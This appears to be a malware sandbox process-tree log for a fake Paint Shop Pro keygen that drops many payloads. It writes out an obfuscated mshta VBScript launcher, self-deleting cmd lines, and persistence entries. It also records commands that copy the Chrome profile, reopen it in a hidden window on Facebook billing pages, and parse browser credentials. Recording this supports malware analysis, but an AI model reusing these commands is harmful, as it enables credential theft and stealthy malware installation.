                                                                                                                                  C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                                                                                                                                  1⤵
                                                                                                                                    PID:5300
                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\Temp2_Jasc_Paint_Shop_Pro_9_0_serial_key_gen_by_TSRh.zip\Jasc_Paint_Shop_Pro_9_0_serial_key_gen_by_TSRh.exe
                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\Temp2_Jasc_Paint_Shop_Pro_9_0_serial_key_gen_by_TSRh.zip\Jasc_Paint_Shop_Pro_9_0_serial_key_gen_by_TSRh.exe"
                                                                                                                                    1⤵
                                                                                                                                      PID:5556
                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen.bat" "
                                                                                                                                        2⤵
                                                                                                                                          PID:5692
                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-pr.exe
                                                                                                                                            keygen-pr.exe -p83fsase3Ge
                                                                                                                                            3⤵
                                                                                                                                            • Executes dropped EXE
                                                                                                                                            PID:5744
                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe
                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe"
                                                                                                                                              4⤵
                                                                                                                                              • Executes dropped EXE
                                                                                                                                              PID:2660
                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe
                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe -txt -scanlocal -file:potato.dat
                                                                                                                                                5⤵
                                                                                                                                                  PID:2428
                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-1.exe
                                                                                                                                              keygen-step-1.exe
                                                                                                                                              3⤵
                                                                                                                                              • Executes dropped EXE
                                                                                                                                              PID:5764
                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-5.exe
                                                                                                                                              keygen-step-5.exe
                                                                                                                                              3⤵
                                                                                                                                              • Executes dropped EXE
                                                                                                                                              PID:5796
                                                                                                                                              • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                "C:\Windows\System32\mshta.exe" VbscriPt: ClOse ( CReatEobjecT ( "WScriPt.sHeLl" ).RUn ( "CmD.ExE /c copY /y ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-5.exe"" RWD_.exe > NUL && starT RWD_.exe -PQtL97YU9CePvSHWa~W4YULQmeii & iF """" == """" for %m In ( ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-5.exe"" ) do taskkill /f /IM ""%~nxm"" > nuL " , 0 ))
                                                                                                                                                4⤵
                                                                                                                                                  PID:2808
                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                    "C:\Windows\System32\cmd.exe" /c copY /y "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-5.exe" RWD_.exe > NUL && starT RWD_.exe -PQtL97YU9CePvSHWa~W4YULQmeii & iF "" =="" for %m In ( "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-5.exe" ) do taskkill /f /IM "%~nxm" > nuL
                                                                                                                                                    5⤵
                                                                                                                                                      PID:4140
                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\RWD_.exe
                                                                                                                                                        RWD_.exe -PQtL97YU9CePvSHWa~W4YULQmeii
                                                                                                                                                        6⤵
                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                        PID:3668
                                                                                                                                                        • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                          "C:\Windows\System32\mshta.exe" VbscriPt: ClOse ( CReatEobjecT ( "WScriPt.sHeLl" ).RUn ( "CmD.ExE /c copY /y ""C:\Users\Admin\AppData\Local\Temp\RWD_.exe"" RWD_.exe > NUL && starT RWD_.exe -PQtL97YU9CePvSHWa~W4YULQmeii & iF ""-PQtL97YU9CePvSHWa~W4YULQmeii "" == """" for %m In ( ""C:\Users\Admin\AppData\Local\Temp\RWD_.exe"" ) do taskkill /f /IM ""%~nxm"" > nuL " , 0 ))
                                                                                                                                                          7⤵
                                                                                                                                                            PID:212
                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                              "C:\Windows\System32\cmd.exe" /c copY /y "C:\Users\Admin\AppData\Local\Temp\RWD_.exe" RWD_.exe > NUL && starT RWD_.exe -PQtL97YU9CePvSHWa~W4YULQmeii & iF "-PQtL97YU9CePvSHWa~W4YULQmeii " =="" for %m In ( "C:\Users\Admin\AppData\Local\Temp\RWD_.exe" ) do taskkill /f /IM "%~nxm" > nuL
                                                                                                                                                              8⤵
                                                                                                                                                                PID:4828
                                                                                                                                                            • C:\Windows\SysWOW64\regsvr32.exe
                                                                                                                                                              "C:\Windows\System32\regsvr32.exe" .\WiUZzK.CI -s
                                                                                                                                                              7⤵
                                                                                                                                                              • Loads dropped DLL
                                                                                                                                                              • Suspicious use of NtCreateThreadExHideFromDebugger
                                                                                                                                                              PID:4224
                                                                                                                                                          • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                            taskkill /f /IM "keygen-step-5.exe"
                                                                                                                                                            6⤵
                                                                                                                                                            • Kills process with taskkill
                                                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                            PID:2188
                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-2.exe
                                                                                                                                                      keygen-step-2.exe
                                                                                                                                                      3⤵
                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                      • Suspicious use of SetThreadContext
                                                                                                                                                      • Modifies system certificate store
                                                                                                                                                      PID:5824
                                                                                                                                                      • C:\Users\Admin\AppData\Roaming\C29A.tmp.exe
                                                                                                                                                        "C:\Users\Admin\AppData\Roaming\C29A.tmp.exe"
                                                                                                                                                        4⤵
                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                        PID:2500
                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                          cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Roaming\C29A.tmp.exe"
                                                                                                                                                          5⤵
                                                                                                                                                          • Blocklisted process makes network request
                                                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                          PID:4404
                                                                                                                                                          • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                                            timeout /T 10 /NOBREAK
                                                                                                                                                            6⤵
                                                                                                                                                            • Delays execution with timeout.exe
                                                                                                                                                            PID:4056
                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-2.exe
                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-2.exe"
                                                                                                                                                        4⤵
                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                        PID:5520
                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-2.exe
                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-2.exe"
                                                                                                                                                          5⤵
                                                                                                                                                            PID:2224
                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 5520 -s 268
                                                                                                                                                            5⤵
                                                                                                                                                            • Program crash
                                                                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                            PID:5380
                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                          "C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-2.exe" >> NUL
                                                                                                                                                          4⤵
                                                                                                                                                            PID:2208
                                                                                                                                                            • C:\Windows\SysWOW64\PING.EXE
                                                                                                                                                              ping 127.0.0.1
                                                                                                                                                              5⤵
                                                                                                                                                              • Runs ping.exe
                                                                                                                                                              PID:6060
                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe
                                                                                                                                                          keygen-step-3.exe
                                                                                                                                                          3⤵
                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                          PID:5868
                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                            cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe"
                                                                                                                                                            4⤵
                                                                                                                                                              PID:624
                                                                                                                                                              • C:\Windows\SysWOW64\PING.EXE
                                                                                                                                                                ping 1.1.1.1 -n 1 -w 3000
                                                                                                                                                                5⤵
                                                                                                                                                                • Runs ping.exe
                                                                                                                                                                PID:5428
                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-4.exe
                                                                                                                                                            keygen-step-4.exe
                                                                                                                                                            3⤵
                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                            PID:4256
                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\RarSFX2\xiuhuali.exe
                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\RarSFX2\xiuhuali.exe"
                                                                                                                                                              4⤵
                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                              • Drops file in Program Files directory
                                                                                                                                                              • Suspicious use of SetWindowsHookEx
                                                                                                                                                              PID:4344
                                                                                                                                                              • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                "C:\Windows\System32\rundll32.exe" "C:\Program Files\install.dll",install
                                                                                                                                                                5⤵
                                                                                                                                                                • Loads dropped DLL
                                                                                                                                                                • Modifies registry class
                                                                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                PID:2240
                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\RarSFX2\JoSetp.exe
                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\RarSFX2\JoSetp.exe"
                                                                                                                                                              4⤵
                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                              PID:4152
                                                                                                                                                              • C:\ProgramData\6902367.exe
                                                                                                                                                                "C:\ProgramData\6902367.exe"
                                                                                                                                                                5⤵
                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                PID:4404
                                                                                                                                                              • C:\ProgramData\5601651.exe
                                                                                                                                                                "C:\ProgramData\5601651.exe"
                                                                                                                                                                5⤵
                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                • Adds Run key to start application
                                                                                                                                                                PID:5524
                                                                                                                                                                • C:\ProgramData\Windows Host\Windows Host.exe
                                                                                                                                                                  "C:\ProgramData\Windows Host\Windows Host.exe"
                                                                                                                                                                  6⤵
                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                  PID:5752
                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\RarSFX2\Install.exe
                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\RarSFX2\Install.exe"
                                                                                                                                                              4⤵
                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                              PID:5408
                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\is-HANAR.tmp\Install.tmp
                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\is-HANAR.tmp\Install.tmp" /SL5="$7026A,235791,152064,C:\Users\Admin\AppData\Local\Temp\RarSFX2\Install.exe"
                                                                                                                                                                5⤵
                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                • Loads dropped DLL
                                                                                                                                                                PID:5508
                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\is-UFTEA.tmp\Ultra.exe
                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\is-UFTEA.tmp\Ultra.exe" /S /UID=burnerch1
                                                                                                                                                                  6⤵
                                                                                                                                                                    PID:6120
                                                                                                                                                                    • C:\Program Files\Windows Defender Advanced Threat Protection\XGFRBIEGQR\ultramediaburner.exe
                                                                                                                                                                      "C:\Program Files\Windows Defender Advanced Threat Protection\XGFRBIEGQR\ultramediaburner.exe" /VERYSILENT
                                                                                                                                                                      7⤵
                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                      PID:4104
                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\is-KAU51.tmp\ultramediaburner.tmp
                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\is-KAU51.tmp\ultramediaburner.tmp" /SL5="$A01D2,281924,62464,C:\Program Files\Windows Defender Advanced Threat Protection\XGFRBIEGQR\ultramediaburner.exe" /VERYSILENT
                                                                                                                                                                        8⤵
                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                        • Drops file in Program Files directory
                                                                                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                        • Suspicious use of FindShellTrayWindow
                                                                                                                                                                        PID:3336
                                                                                                                                                                        • C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe
                                                                                                                                                                          "C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu
                                                                                                                                                                          9⤵
                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                          PID:3980
                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\3d-0509b-fee-8fca5-8c04fcfc2ddb7\Bizhysypodo.exe
                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\3d-0509b-fee-8fca5-8c04fcfc2ddb7\Bizhysypodo.exe"
                                                                                                                                                                      7⤵
                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                      • Checks computer location settings
                                                                                                                                                                      PID:1536
                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\69-d3f9f-413-1e48a-fcb2e796c7210\Lucazhonaso.exe
                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\69-d3f9f-413-1e48a-fcb2e796c7210\Lucazhonaso.exe"
                                                                                                                                                                      7⤵
                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                      PID:1596
                                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\bb4uj0p3.pzf\instEU.exe & exit
                                                                                                                                                                        8⤵
                                                                                                                                                                          PID:2716
                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\bb4uj0p3.pzf\instEU.exe
                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\bb4uj0p3.pzf\instEU.exe
                                                                                                                                                                            9⤵
                                                                                                                                                                              PID:5764
                                                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                                                            "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\f3pzjfyf.5h1\gpooe.exe & exit
                                                                                                                                                                            8⤵
                                                                                                                                                                              PID:3480
                                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                                              "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\5nmpyg3q.x3t\google-game.exe & exit
                                                                                                                                                                              8⤵
                                                                                                                                                                                PID:6064
                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\5nmpyg3q.x3t\google-game.exe
                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\5nmpyg3q.x3t\google-game.exe
                                                                                                                                                                                  9⤵
                                                                                                                                                                                    PID:516
                                                                                                                                                                                    • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                      "C:\Windows\System32\rundll32.exe" "C:\Program Files\install.dll",install
                                                                                                                                                                                      10⤵
                                                                                                                                                                                        PID:2128
                                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\i5avrl4p.p4h\skipper.exe /s & exit
                                                                                                                                                                                    8⤵
                                                                                                                                                                                      PID:5992
                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\i5avrl4p.p4h\skipper.exe
                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\i5avrl4p.p4h\skipper.exe /s
                                                                                                                                                                                        9⤵
                                                                                                                                                                                          PID:2332
                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\193299352.exe
                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\193299352.exe
                                                                                                                                                                                            10⤵
                                                                                                                                                                                              PID:3868
                                                                                                                                                                                              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                                                                                                                                                                C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                                                                                                                                                                11⤵
                                                                                                                                                                                                  PID:4148
                                                                                                                                                                                                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                                                                                                                                                                  C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                                                                                                                                                                  11⤵
                                                                                                                                                                                                    PID:5448
                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\554148624.exe
                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\554148624.exe
                                                                                                                                                                                                  10⤵
                                                                                                                                                                                                    PID:3668
                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                    "C:\Windows\system32\cmd.exe" /k ping 0 & del C:\Users\Admin\AppData\Local\Temp\i5avrl4p.p4h\skipper.exe & exit
                                                                                                                                                                                                    10⤵
                                                                                                                                                                                                      PID:5580
                                                                                                                                                                                                      • C:\Windows\SysWOW64\PING.EXE
                                                                                                                                                                                                        ping 0
                                                                                                                                                                                                        11⤵
                                                                                                                                                                                                        • Runs ping.exe
                                                                                                                                                                                                        PID:5384
                                                                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                  "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\il3wb5zx.o5v\md1_1eaf.exe & exit
                                                                                                                                                                                                  8⤵
                                                                                                                                                                                                    PID:5740
                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\il3wb5zx.o5v\md1_1eaf.exe
                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\il3wb5zx.o5v\md1_1eaf.exe
                                                                                                                                                                                                      9⤵
                                                                                                                                                                                                        PID:4280
                                                                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\szu0mwxn.i54\askinstall36.exe & exit
                                                                                                                                                                                                      8⤵
                                                                                                                                                                                                        PID:3644
                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\szu0mwxn.i54\askinstall36.exe
                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\szu0mwxn.i54\askinstall36.exe
                                                                                                                                                                                                          9⤵
                                                                                                                                                                                                            PID:5524
                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                              cmd.exe /c taskkill /f /im chrome.exe
                                                                                                                                                                                                              10⤵
                                                                                                                                                                                                                PID:3828
                                                                                                                                                                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                  taskkill /f /im chrome.exe
                                                                                                                                                                                                                  11⤵
                                                                                                                                                                                                                  • Kills process with taskkill
                                                                                                                                                                                                                  PID:4276
                                                                                                                                                                                                              • C:\Windows\SysWOW64\xcopy.exe
                                                                                                                                                                                                                xcopy "C:\Users\Admin\AppData\Local\Google\Chrome\User Data" "C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99\" /s /e /y
                                                                                                                                                                                                                10⤵
                                                                                                                                                                                                                  PID:5648
                                                                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --window-position=-50000,-50000 --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" https://www.facebook.com/ https://www.facebook.com/pages/ https://secure.facebook.com/ads/manager/account_settings/account_billing/
                                                                                                                                                                                                                  10⤵
                                                                                                                                                                                                                    PID:4216
                                                                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99 /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99 --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xd4,0xd8,0xdc,0xb0,0xe0,0x7ff9e84b4f50,0x7ff9e84b4f60,0x7ff9e84b4f70
                                                                                                                                                                                                                      11⤵
                                                                                                                                                                                                                        PID:5640
                                                                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1872,900309466328954885,13121351862234263511,131072 --lang=en-US --service-sandbox-type=utility --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=1944 /prefetch:8
                                                                                                                                                                                                                        11⤵
                                                                                                                                                                                                                          PID:4140
                                                                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1872,900309466328954885,13121351862234263511,131072 --lang=en-US --service-sandbox-type=network --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=1932 /prefetch:8
                                                                                                                                                                                                                          11⤵
                                                                                                                                                                                                                            PID:5968
                                                                                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1872,900309466328954885,13121351862234263511,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2804 /prefetch:1
                                                                                                                                                                                                                            11⤵
                                                                                                                                                                                                                              PID:4984
                                                                                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1872,900309466328954885,13121351862234263511,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2796 /prefetch:1
                                                                                                                                                                                                                              11⤵
                                                                                                                                                                                                                                PID:1064
                                                                                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1872,900309466328954885,13121351862234263511,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3316 /prefetch:1
                                                                                                                                                                                                                                11⤵
                                                                                                                                                                                                                                  PID:4032
                                                                                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1872,900309466328954885,13121351862234263511,131072 --disable-gpu-compositing --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=3 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2976 /prefetch:1
                                                                                                                                                                                                                                  11⤵
                                                                                                                                                                                                                                    PID:5796
                                                                                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1872,900309466328954885,13121351862234263511,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=2 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3600 /prefetch:1
                                                                                                                                                                                                                                    11⤵
                                                                                                                                                                                                                                      PID:5784
                                                                                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1872,900309466328954885,13121351862234263511,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3200 /prefetch:1
                                                                                                                                                                                                                                      11⤵
                                                                                                                                                                                                                                        PID:5808
                                                                                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1872,900309466328954885,13121351862234263511,131072 --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1884 /prefetch:2
                                                                                                                                                                                                                                        11⤵
                                                                                                                                                                                                                                          PID:2288
                                                                                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\zmeu4cci.soz\WEFWHYNDWY.exe & exit
                                                                                                                                                                                                                                    8⤵
                                                                                                                                                                                                                                      PID:4120
                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\zmeu4cci.soz\WEFWHYNDWY.exe
                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\zmeu4cci.soz\WEFWHYNDWY.exe
                                                                                                                                                                                                                                        9⤵
                                                                                                                                                                                                                                          PID:5932
                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\RarSFX3\main.exe
                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\RarSFX3\main.exe"
                                                                                                                                                                                                                                            10⤵
                                                                                                                                                                                                                                              PID:5872
                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\RarSFX3\parse.exe
                                                                                                                                                                                                                                                parse.exe -f json -b edge
                                                                                                                                                                                                                                                11⤵
                                                                                                                                                                                                                                                  PID:5636
                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\RarSFX3\parse.exe
                                                                                                                                                                                                                                                  parse.exe -f json -b chrome
                                                                                                                                                                                                                                                  11⤵
                                                                                                                                                                                                                                                    PID:5652
                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\RarSFX3\parse.exe
                                                                                                                                                                                                                                                    parse.exe -f json -b firefox
                                                                                                                                                                                                                                                    11⤵
                                                                                                                                                                                                                                                      PID:1860
                                                                                                                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\nr0rntgv.yg4\y1.exe & exit
                                                                                                                                                                                                                                                8⤵
                                                                                                                                                                                                                                                  PID:5944
                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\nr0rntgv.yg4\y1.exe
                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\nr0rntgv.yg4\y1.exe
                                                                                                                                                                                                                                                    9⤵
                                                                                                                                                                                                                                                      PID:1800
                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\MWjK4DGynZ.exe
                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\MWjK4DGynZ.exe"
                                                                                                                                                                                                                                                        10⤵
                                                                                                                                                                                                                                                          PID:1380
                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Roaming\1619109825791.exe
                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Roaming\1619109825791.exe" /sjson "C:\Users\Admin\AppData\Roaming\1619109825791.txt"
                                                                                                                                                                                                                                                            11⤵
                                                                                                                                                                                                                                                              PID:5700
                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                              cmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\MWjK4DGynZ.exe"
                                                                                                                                                                                                                                                              11⤵
                                                                                                                                                                                                                                                                PID:4972
